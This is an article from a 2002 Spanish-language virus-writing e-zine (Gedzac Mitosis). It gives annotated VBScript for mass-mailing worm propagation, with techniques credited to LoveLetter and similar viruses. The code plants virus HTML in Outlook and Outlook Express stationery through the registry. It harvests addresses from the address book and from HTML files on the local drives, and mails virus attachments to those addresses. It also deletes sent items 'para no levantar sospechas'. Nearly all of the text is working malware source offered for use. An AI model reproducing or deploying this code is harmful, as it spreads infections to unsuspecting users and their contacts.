Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 004
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Envio de correo y configuracion de firmas en Outlook
Autor : MachineDramon
Válido para : Windows
--------------------------------------------------------------------------------------------
>Técnicas Extraidas de VBS/Redlof, VBS/HappyTime, VBS/BubbleBoy, VBS/LoveLetter
Primero haremos unas funciones para leer y escribir en el registro y no tener
que estar declarando objetos WScript.Shell a cada rato:
'Esta funcion es para leer el registro, la clave a leer se le pasa en el
'argumento x
Function Rr(x)
On Error Resume Next
Set w = CreateObject("WScript.Shell")
Rr=w.RegRead(x)
Set w = Nothing
End Function
'Este procedimiento es para escribir en registro, la clave a escribir se pasa
'en el argumento x, el valor de la clave en el argumento y, el argumento z se
'deja vacio -> "" si se quiere escribir un calor de cadena y si queremos
'un valor hexadecimal colocamos algo como "hexa" para llenar el argumento.
Sub Rw(x,y,z)
On Error Resume Next
Set w = CreateObject("WScript.Shell")
If z="" Then
w.RegWrite x,y
Else
w.RegWrite x,y,"REG_DWORD"
Set w = Nothing
End Sub
Creacion de Firmas:
Esto es poner una pagina html, como plantilla de fondo de los documentos que
el usuario envie, en esa pagina debe estar el codigo del virus.
-En Outlook Express:
'Colocamos el resumidor de errores
On Error Resume Next
'Declaramos una matriz o array de variables, con dos indices 0 y 1
Dim Ov(1)
'Leemos el Usuario, este valor es algo como "{49A60240-055E-11D7-AA73-E46109771A49}"
'y cambia de una maquina a otra, así que lo leemos del registro.
Us = Rr("HKEY_CURRENT_USER\Identities\Default User ID")
'Colocamos el indice 0 de la matriz = "5.0"
Ov(0) = "5.0"
'Leemos la version actual de Outlook Express, supongamos que es la 6,0,2600,0000
'pero solo nos interesa el primer valor osea el 6, que lo separamos del resto de
'la de la cadena con la funcion Left y le añadimos ".0" y tenemos el valor
' "6.0" que asignamos al indice 1 de la matriz.
Ov(1) = Left(Rr("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer"),1) & ".0"
'Luego asignamos la ruta donde escribiremos las claves en una variable para
'no tener que estar escribiendola cada vez.
Rout = "HKEY_CURRENT_USER\Identities\"&Us&"\Software\Microsoft\Outlook Express\"
'Iniciamos un bucle For desde 0 al indice mayor de la matriz el cual calculamos
'con la funcion Ubound, a la cual le pasaremos el nombre de la matriz y nos
'devuelve el indice más alto, que en este caso es 1, se podria poner 1 de frente
'pero en casos de no saber cual es el mayor indice, se puede usar Ubound()
For i=0 to Ubound(Ov)
'Ahora escribimos las claves que nesecitamos, la primera en hexadecimal, indica
'que el mensaje se envie en html, la segunda tambien en hexadecimal, indica
'que se use la plantilla, las 2 ultimas son valores de cadena y contienen
'la ruta donde hallamos creado la plantilla.
Rw Rout & Ov(i)&"\Mail\Message Send HTML",1,"REG_DWORD"
'Observese que Rout contiene parte de la ruta a escribir y Ov(i) indica
'el valor del indice de la matriz que cuando i=0 sera "5.0" y cuando i=1
'sera "6.0"
Rw Rout & Ov(i)&"\Mail\Compose Use Stationery",1,"REG_DWORD"
Rw Rout & Ov(i)&"\Mail\Wide Stationery Name","C:\Plantilla.htm",""
Rw Rout & Ov(i)&"\Mail\Stationery Name","C:\Plantilla.htm",""
'La razon de usar un bucle for es que si tenemos la version 6.0 deberiamos
'escribir en:
'HKCU\Identities\"Usuario"\Software\Microsoft\Outlook Express\6.0\Mail
'y el numero de version lo obtenemos como se indico antes, pero si teniamos
'la 5.0 he instalamos la 6, la configuracion se seguira guardando en:
'HKCU\Identities\"Usuario"\Software\Microsoft\Outlook Express\5.0\Mail
'y no en:
'HKCU\Identities\"Usuario"\Software\Microsoft\Outlook Express\6.0\Mail
'como deberia ser, entonces si escribimos en 6.0 y la configuracion esta
'en 5.0, no servira, así que para mayor seguridad escribimos en los 2.
Next
-En Microsoft Outlook:
'Creamos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Leemos la llave en el registro donde deberemos crear la plantilla(directorio de plantillas)
Sp = Rr("HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\Stationery\Backgrounds Folder")
'Si no existe esa llave leemos esta
If Sp = "" Then Sp = Rr("HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\Stationery\Stationery Folder")
'Si no existe ninguna de las 2 tratamos de ubicar los directorios
'predeterminados en español e ingles
If Sp = "" Then
If f.FolderExists("C:\Archivos de programa\Archivos comunes\Microsoft Shared\Stationery") Then
Sp = "C:\Archivos de programa\Archivos comunes\Microsoft Shared\Stationery"
End If
End If
If Sp = "" Then
If f.FolderExists("C:\Program Files\Common Files\Microsoft Shared\Stationery") Then
Sp = "C:\Program Files\Common Files\Microsoft Shared\Stationery"
End If
End If
'La razon de esto es que en Microsoft Outlook la plantilla debe ser creada en
'el directorio de plantillas, a diferencia de Outlook Express que la podemos
'crear donde queramos.
'Declaramos una matriz con 3 digitos y les asignamos las versiones mas
'utilizadas de office a la fecha.
Dim Out(2): Out(0)="8.0": Out(1)="9.0": Out(2)="10.0"
'Iniciamos un bucle for, como se hizo antes donde Out(i) ira tomando los
'valores de los indices de la matriz, ya que no sabemos que office esta
'instalado escribimos claves en cualquiera de los casos.
For i=0 to Ubound(Out)
'Esta clave indica que se use html en los mensajes
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Out(i) & "\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Next
'Esto ya fuera de bucle
'Esta indica a office 10.0 que use la pagina web que tenga el nombre que estamos escribiendo
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","Plantilla",""
'Esta le dice a office 8.0 y 9.0 que use la pagina web que tenga el nombre que estamos escribiendo
Rw "HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","TemplateDefault",""
'Esta le dice a office 8.0 y 9.0 que use la pagina web que tenga el nombre que estamos escribiendo
'en caso tengamos Windows NT.
Rw "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","TemplateDefault",""
'Observese que no se indica ruta ni extencion ya que se asume que la plantilla
'esta en el directorio de plantillas y con extencion htm o html
'Se asume que la plantilla ya fue creada en el directorio de plantillas.
->Solo se vera como enviar, como obtener las direcciones de la libreta
se vera despues.
Envio por Correo con Microsoft Outlook:
'Se llama al OutLook
Set O = CreateObject("Outlook.Application")
'Se crea un correo a enviar
Set Om = O.CreateItem(0)
'Se establece la direccion del destinatario
Om.Recipients.Add "correo@server.com"
'Si queremos especificar direcciones en el campo CC(copia de cortesia)
'indicamos el tipo, en Outlook Express debe poderse tambien pero no se como.
Om.Recipients.Add ("cortesia@server.com").Type = olCC
'Lo que dira el asunto del mail
Om.Subject = "Asunto del mail"
'Lo que dira el cuerpo del mail
Om.Body = "Cuerpo del mail"
'La ruta del archivo adjunto
Om.Attachments.Add "Ruta del archivo adjunto"
'Para que no quede en la carpeta de enviados y no levantar sospechas
Om.DeleteAfterSubmit = True
'Enviar mail
Om.SEND
->si queremos que el virus valla dentro del cuerpo del mail, como html
Cambiamos la parte "Om.Body" por "Om.HtmlBody" y en el cuerpo debemos
colocar el codigo del virus en formato html algo como:
Om.HtmlBody = "<"&"HTML"&">"&"<"&"Script Language='VBScript'>"&vbCrLf&_
CodigoVirus &vbCrLf&"<"&"/Script"&">"&"</HTML"&">"
Envio por Correo con Outlook Express:
Solo funcionara si Outlook Express es el cliente de correo predeterminado.
En la version 6.0 preguntara antes de enviar.
'Iniciamos Secion en Outlook Express, creando estos 2 objetos
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
'Leemos el Nombre de Usuario
Us = Mr("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
'Y lo pasamos como UserName
MS.UserName = Us
'Establecemos esto(que no se exactamente para que sirve, pero así estaba)
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
'Creamos un Correo a enviar
MM.Compose
'Direccion del Destinatario
MM.RecipAddress = "correo@sever.com"
'Asunto del mail
MM.MsgSubject = "Asunto"
'Cuerpo del Mail
MM.MsgNoteText = "Cuerpo"
'Ruta del archivo adjunto
MM.AttachmentPathName = "C:\Virus.vbs"
'Enviar Mail
MM.Send
MS.SignOff
->He tratado de colocar html dentro "MM.MsgNoteText" pero en la version
6, no me lo permite, tal vez en la 5 se pueda.
->Si el virus no tiene varios mensajes de mail y queremos enviar un mismo
mail a varios usuarios cuyas direcciones las tenemos en una matriz o array
llamdo address(en este caso)
Dim Address(2)
Address(0) = "Correo0@server.com"
Address(1) = "Correo1@server.com"
Address(2) = "Correo2@server.com"
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
Us = Mr("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = Us
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
MM.Compose
'Establecemos un contador for desde 0 al indice mas alto de la matriz
For i=0 to Ubound(Address)
'Establecemos el indice(señalado por el valor de i) de cada destinatario
MM.RecipIndex = i
'La direccion de los destinatarios almacenada en el indice de la matriz
'que señale i
MM.RecipAddress = Address(i)
Next
MM.MsgSubject = "Asunto"
MM.MsgNoteText = "Cuerpo"
MM.AttachmentPathName = "C:\Virus.vbs"
MM.Send
MS.SignOff
Obtener las direcciones de la libreta de Microsoft Outlook:
'La forma más usada es algo como esto:
Sub Mail()
'Declara el resumidor de errores
On Error Resume Next
'Declara variables
Dim O, M, C
'Llama al Objeto Outlook
Set O = Createobject("Outlook.Application")
'Llama a las librerias MAPI
Set M = O.GetNameSpace("MAPI")
'Inicia un contador empezando de 1 hasta el numero de libretas de direcciones
'que tenga el usuario
For i = 1 to M.AddressLists.Count
'Iguala "Al" a la libreta que señale el indice i, del contador
Set Al = M.AddressLists(i)
'Inicia otro contador de 1 al numero de direcciones que contenga la libreta
'señalada
For x = 1 To Al.AddressEntries.Count
'Iguala a "Ad" a la direccion de la libreta que indique el indice x
Ad = Al.AddressEntries(x)
'Vacia la variable Vm
Vm = ""
'Trata de leer el registro(con la funcion que indicamos antes), buscando
'una entrada que coincida con la direccion de mail señalada.
Vm= Rr("HKEY_CURRENT_USER\Software\Microsoft\Mail\" & Ad)
'Si no hay una clave en el registro con el nombre de la direccion señalada
'Vm permanece vacio y se procede a componer un mensaje de email
If Vm = "" Then
'Componemos el mensaje a enviar
Set C = O.CreateItem(0)
'Establece el destinatario del mail
C.Recipients.add(Ad)
'Establece el asunto del mail
C.Subject = "Asunto"
'Establece el cuerpo del mail
C.Body = "Cuerpo"
'Establece el archivo adjunto
C.Attachments.Add "c:\virus.vbs"
'Indica que se debe borrar de la carpeta de enviados
'para no levantar sospechas
C.DeleteAfterSubmit = True
'Envia el mensaje
C.Send
'Escribe una clave en el registro, para que la proxima vez que se inicie
'el virus, la variable Vm no quede vacia y no se envie 2 veces a la misma
'direccion
Rw "HKEY_CURRENT_USER\Software\Microsoft\Mail\" & Ad,"1",""
'Vacia la variable Ad
Ad = ""
End if
Next
Next
'Libera las variables Objeto
Set O = Nothing: Set M = Nothing
End sub
Este sería el ejemplo de codigo que buscara direcciones en la libreta de
Microsoft Outlook y en las paginas web y enviara mensajes por Microsoft Out
y Out Express, con diferentes asuntos, archivos y cuerpos:
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Igualamos s al directorio de sistema
s = f.GetSpecialFolder(1)
'Igualamos t al directorio temporal
t = f.GetSpecialFolder(2)
'Llamamos al procedimiento "PrepararMail"
PrepararMAIL()
Sub PrepararMAIL()
'Resumidor de errores
On Error Resume Next
'Creamos una matriz de 10 indices(0 a 9)
Dim Df(9)
'Igualamos cada uno de los indices los nombres de archivo que usaremos para
'enviar los mails
Df(0) = "virus1.vbs": Df(1) = "virus2.vbs": Df(2) = "virus3.vbs"
Df(3) = "virus4.vbs": Df(4) = "virus5.vbs": Df(5) = "virus6.vbs"
Df(6) = "virus7.vbs": Df(7) = "virus8.vbs": Df(8) = "virus9.vbs"
Df(9) = "virus10.vbs"
'Iniciamos un contador para saber si existen los archivos ha enviar
For i = 0 to 9
'Si no existen..
if Not(f.FileExists(s & "\" & Df(i))) then
'Los copiamos al directorio temporal (se asume que hay una copia del virus
'en el directorio de sistema de nombre "\Virus.vbs")
f.CopyFile s & "\Virus.vbs", t & "\" & Df(i)
end if
Next
'Llamamos al procedimiento ExtraerLibreta, para extraer las direciones de la
'libreta de Microsoft OutLook
ExtraerLibreta()
'Llamamos al procedimiento ExtraerWeb, para extraer las direciones de las
'paginas web
ExtraerWeb()
End Sub
Sub ExtraerLibreta()
'Resumidor de errores
On Error Resume Next
'Declaramos variables
Dim i, O, Mp, Mx, Sd
'Creamos un diccionario de variables(tambien pudo ser una matriz,
'pero tendriamos que usar Redim)
Set Sd = CreateObject("Scripting.Dictionary")
'Llamamos al Objeto Outlook
Set O = CreateObject("Outlook.Application")
'Llamamos a las librerias MAPI
Set Mp = O.GetNameSpace("MAPI")
'Y buscamos las direcciones de la libreta de Microsoft Outlook de esta otra
'forma.
Set MX = Mp.GetDefaultFolder(10).Items
'Iniciamos un contador desde 1 hasta el numero de direcciones que haya
For i = 1 To Mx.Count
'Añadimos cada direccion al diccionario de la forma:
'(Valor de i), (Direccion de correo)
Sd.Add (i), Mx.Item(i).Email1Address
Next
'Llamamos al procedimiento EnviarOutMic y le pasamos el diccionario con las
'direcciones como argumento
EnviarOutMic Sd
'Llamamos al procedimiento EnviarOutExp y le pasamos el diccionario con las
'direcciones como argumento
EnviarOutExp Sd
'Liberamos el objeto MAPI y Outlook
Set Mp = Nothing: Set O = Nothing
End Sub
Sub ExtraerWeb()
'Resumidor de errores
On Error Resume Next
'Creamos un diccionario de variables(tambien pudo ser una matriz,
'pero tendriamos que usar Redim)
Set Sd = CreateObject("Scripting.Dictionary")
'Listamos los discos del sistema
Set U = f.drives
'Iniciamos un contador for para listar los discos
For Each O In U
'Si es un disco duro..
If O.DriveType = 2 Then
'Llamamos a ListarCarpetas pasando como argumento la ruta del disco y el
'dicionario
ListarCarpetas O.Path & "\", Sd
'//////NOTA///////
'Al momento de pasar un objeto como lo es un diccionario de variables,
'debemos pasarlo con el nombre que lo creamos y el procedimiento al que
'se lo pasa debe esperarlo con el mismo nombre.
'Osea si el diccionario fue creado con Nombre "Sd"
'Set Sd = CreateObject("Scripting.Dictionary")
'
'Al pasarlo debemos colocar:> Procedimiento Sd, argumento1, argumentoX..
'Y el procedimiento al que se pasa debe estar declarado:
'Sub Procedimiento(Sd, argumento1, argumentoX..) ->Observese que el
'procedimiento lo espera con el mismo nombre.
'
'Si estuviera declarado:> Sub Procedimiento(MyDic, argumento1, argumentoX..)
'sería incorrecto.
'////////////////
End If
Next
'Llamamos al procedimiento EnviarOutMic y le pasamos el diccionario con las
'direcciones como argumento
EnviarOutMic Sd
'Llamamos al procedimiento EnviarOutExp y le pasamos el diccionario con las
'direcciones como argumento
EnviarOutExp Sd
End Sub
Sub ListarCarpetas(fl, Sd)
'Resumidor de errores
On Error Resume Next
'Listamos los carpetas que tenga el disco o las subcarpetas que tenga la
'carpeta
Set Fg = f.GetFolder(fl)
Set Sf = Fg.Subfolders
'Iniciamos un contador para listar las carpetas
For Each Z In Sf
'Cada carpeta es pasada al procedimiento "ListarCarpetas"
'(se llama a si mismo de forma recursiva), para verificar
'si tiene subcarpetas y si estas a su vez las tuvieran tambien serian
'pasadas al procedimiento,
ListarCarpetas Z.Path, Sd
'Luego cada carpeta es pasada a ListarArchivos
ListarArchivos Z.Path, Sd
Next
End Sub
Sub ListarArchivos(fl, Sd)
'Resumidor de errores
On Error Resume Next
'Listamos los archivos de la carpeta
Set A = f.GetFolder(fl)
Set Q = A.Files
'Iniciamos un contador para listar los archivos
For Each Y In Q
'Igualamos "ext" a la extencion del archivo en minusculas
ext = LCase(f.GetExtensionName(Y.Path))
'Si el diccionario tiene menos de 50 valores proseguir, esto es en caso
'de que se quiera solo consguir las primeras 50, 60, etc direcciones.
If Sd.Count < 50 Then
'Si la extencion es "htm" o "html"..
If (ext = "html") Or (ext = "htm") Then
'Abrimos el archivo..
Set Xf = f.OpenTextFile(Y.Path)
'Y lo leemos linea por linea hasta el final..
Do While Xf.AtendOfStream = False
Xl = Xf.ReadLine
'Si alguna linea contiene la palabra "mailto:"..
If InStr(LCase(Xl), "mailto:") <> 0 Then
'Recortamos la linea de forma que solo nos de la direccion de email
Xl = Left(Right(Xl, (Len(Xl) - (n + 6))), InStr(Right(Xl, (Len(Xl) - (n + 6))), Chr(34))-1)
'Verificamos la direccion con la funcion IsMail, para ver si es valida
If IsMail(Xl) Then
'Si lo es, igualamos i al numero de valores del diccionario+1
i = Sd.Count + 1
'Añadimos la direccion al diccionario
Sd.Add i, Xl
End If
End If
Loop
'Cerramos el archivo luego de haberlo leido
Xf.Close
End If
End If
Next
End Sub
'La funcion IsMail, comprueba la validez del mail, buscando caracteres
'invalidos y verificando su sintaxis, ya que al leer la paginas web
'podriamos tener un mail:> "\correo@sever.com>", el cual contendria
'caracteres invalidos y haría que Outlook no funcionara en el envio.
'Tambien para detectar a los usuarios que ponen en su libreta de direcciones
'para que el virus falle, algo como "!0000", y creen que los programadores
'de virus somos tontos para caer en un truco tan viejo.
Function IsMail(ML)
'Resumidor de errores
On Error Resume Next
'Declaramos una matriz con 14 indices(0 a 13)
Dim R(13)
'Colocamos algunos caracteres invalidos que pudieran aparecer
R(0) = "/": R(1) = "\": R(2) = "?": R(3) = "=": R(4) = ">"
R(5) = "<": R(6) = Chr(34): R(7) = ";": R(8) = ",": R(9) = Chr(37)
R(10) = "¡": R(11) = "¿": R(12) = ")": R(13) = "("
'Iniciamos un contador para localizar alguno de esos caracteres
For K = 0 To 13
'Si se encuentra alguno de ellos, la funcion devuelve false y termina
If InStr(ML, R(K)) <> 0 Then
IsMail = False
Exit Function
End If
Next
'Ahora verificamos la sintaxis del mail...
X1 = InStr(ML, "@"): X2 = InStr(ML, ".")
'De tal modo que el mail contenga una "@" y un "." y que la "@" este antes
'del "."
If (X1 <> 0) And (X2 <> 0) And (X1 < X2) Then
'Si esta bien devuelve true
IsMail = True
End If
'La funcion no es infalible y se pasaran algunas direcciones validas o
'puede dar como validas algunas direcciones que contengan algun caracter
'invalido que no aparece en la lista que definimos, pero da alguna protección
End Function
Sub EnviarOutExp(Sd)
'Este es el procedimiento para enviar por Outlook Express y es basicamente
'igual a lo explicado antes en la parte "Envio por Correo con Outlook Express:"
On Error Resume Next
Dim MM, MS, Sd1
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
Us = Rr("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = Us
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
'Iniciamos un contador para listar los valores que contiene el diccionario
'de 1 al numero de valores que contenga
For i = 1 to Sd.Count
'Si el valor no esta en el registro..
U = Rr("HKEY_CURRENT_USER\Software\Gedzac Labs\VBS.XM\Mail\" & Sd.Item(i))
If U = "" Then
'Verificamos el mail y procedemos a enviar en caso este bien
If IsMail(Sd.Item(i)) then
'Iniciamos el metodo Randomize y elegimos al azar un numero entre 0 y 9
Randomize
Y = Int(Rnd * 9)
'Pasamos al la funcion "FormatMail" una variables vacia (Sd1) y el numero
'seleccionado, la variable vacia sera llenada con un diccionario que
'contendra 3 valores 1->asunto del mail, 2->cuerpo del mail, 3->archivo adjunto
FormatMail Sd1, Y
MM.Compose
'Establece como destinatario a la direccion que contenga el diccionario en el
'valor que señale i
MM.RecipAddress = Sd.Item(i)
'Establece como Asunto a la direccion que contenga el diccionario en el
'valor 1
MM.MsgSubject = Sd1.Item(1)
'Establece como Cuerpo a la direccion que contenga el diccionario en el
'valor 2
MM.MsgNoteText = Sd1.Item(2)
'Establece como Adjunto a la direccion que contenga el diccionario en el
'valor 3
MM.AttachmentPathName = (t & Sd1.Item(3))
MM.Send
End If
End If
Next
'Iniciamos un contador, para registrar las direcciones en el registro y
'no volvernos ha enviar a las mismas.
For v = 1 To Sd.Count
Rw "HKEY_CURRENT_USER\Software\Gedzac Labs\VBS.XM\Mail\" & Sd.Item(v),"Mail",""
Next
MS.SignOff
End Sub
Sub EnviarOutMic(Sd)
'Este es el procedimiento para enviar por Outlook Express y es basicamente
'igual a lo explicado antes en la parte "Envio por Correo con Microsoft Outlook:"
On Error Resume Next
Set O = CreateObject("Outlook.Application")
'Iniciamos un contador para listar los valores que contiene el diccionario
'de 1 al numero de valores que contenga
For i = 1 To Sd.Count
'Verificamos el mail
If IsMail(Sd.Item(i)) Then
'Si el valor no esta en el registro procedemos a enviar
U = Rr("HKEY_CURRENT_USER\Software\Gedzac Labs\VBS.OM\Mail\" & Sd.Item(i))
If U = "" Then
'Iniciamos el metodo Randomize y elegimos al azar un numero entre 0 y 9
Randomize
Y = Int(Rnd * 9)
'Pasamos al la funcion "FormatMail" una variables vacia (Sd1) y el numero
'seleccionado, la variable vacia sera llenada con un diccionario que
'contendra 3 valores 1->asunto del mail, 2->cuerpo del mail, 3->archivo adjunto
FormatMail Sd1, Y
Set Om = O.CreateItem(0)
'Establece como destinatario a la direccion que contenga el diccionario en el
'valor que señale i
Om.Recipients.Add (Sd.Item(i))
'Establece como Asunto a la direccion que contenga el diccionario en el
'valor 1
Om.Subject = Sd1.Item(1)
'Establece como Cuerpo a la direccion que contenga el diccionario en el
'valor 2
Om.Body = Sd1.Item(2)
'Establece como Adjunto a la direccion que contenga el diccionario en el
'valor 3
Om.Attachments.Add (t & Sd1.Item(3))
Om.DeleteAfterSubmit = True
Om.SEND
U = ""
End If
End If
Next
'Iniciamos un contador, para registrar las direcciones en el registro y
'no volvernos ha enviar a las mismas.
For v = 1 To Sd.Count
Rw "HKEY_CURRENT_USER\Software\Gedzac Labs\VBS.OM\Mail\" & Sd.Item(v),"Mail",""
Next
Set O = Nothing
End Sub
'Esta funcion devolvera un objeto Diccionario "Sd1", conteniendo 3 valores
'1->asunto del mail, 2->cuerpo del mail, 3->archivo adjunto
'de acuerdo al nuemero que se le pase en el argumento "C"
Function FormatMail(Sd1,C)
On Error Resume Next
'Declaramos el diccionario
Set Sd1 = CreateObject("Scripting.Dictionary")
'Usamos Selec Case para fijar los valores de acuerdo al valor de C
Select Case C
Case 0
Sd1.Add 1, "Asunto1"
Sd1.Add 2, "Cuerpo1"
Sd1.Add 3, "\Virus1.vbs"
Case 1
Sd1.Add 1, "Asunto2"
Sd1.Add 2, "Cuerpo2"
Sd1.Add 3, "\Virus2.vbs"
Case 2
Sd1.Add 1, "Asunto3"
Sd1.Add 2, "Cuerpo3"
Sd1.Add 3, "\Virus3.vbs"
Case 3
Sd1.Add 1, "Asunto4"
Sd1.Add 2, "Cuerpo4"
Sd1.Add 3, "\Virus4.vbs"
Case 4
Sd1.Add 1, "Asunto5"
Sd1.Add 2, "Cuerpo5"
Sd1.Add 3, "\Virus5.vbs"
Case 5
Sd1.Add 1, "Asunto6"
Sd1.Add 2, "Cuerpo6"
Sd1.Add 3, "\Virus6.vbs"
Case 6
Sd1.Add 1, "Asunto7"
Sd1.Add 2, "Cuerpo7"
Sd1.Add 3, "\Virus7.vbs"
Case 7
Sd1.Add 1, "Asunto8"
Sd1.Add 2, "Cuerpo8"
Sd1.Add 3, "\Virus8.vbs"
Case 8
Sd1.Add 1, "Asunto9"
Sd1.Add 2, "Cuerpo9"
Sd1.Add 3, "\Virus9.vbs"
Case 9
Sd1.Add 1, "Asunto10"
Sd1.Add 2, "Cuerpo10"
Sd1.Add 3, "\Virus10.vbs"
End Select
End Function
(C) MITOSIS E-Zine/GEDZAC 2002
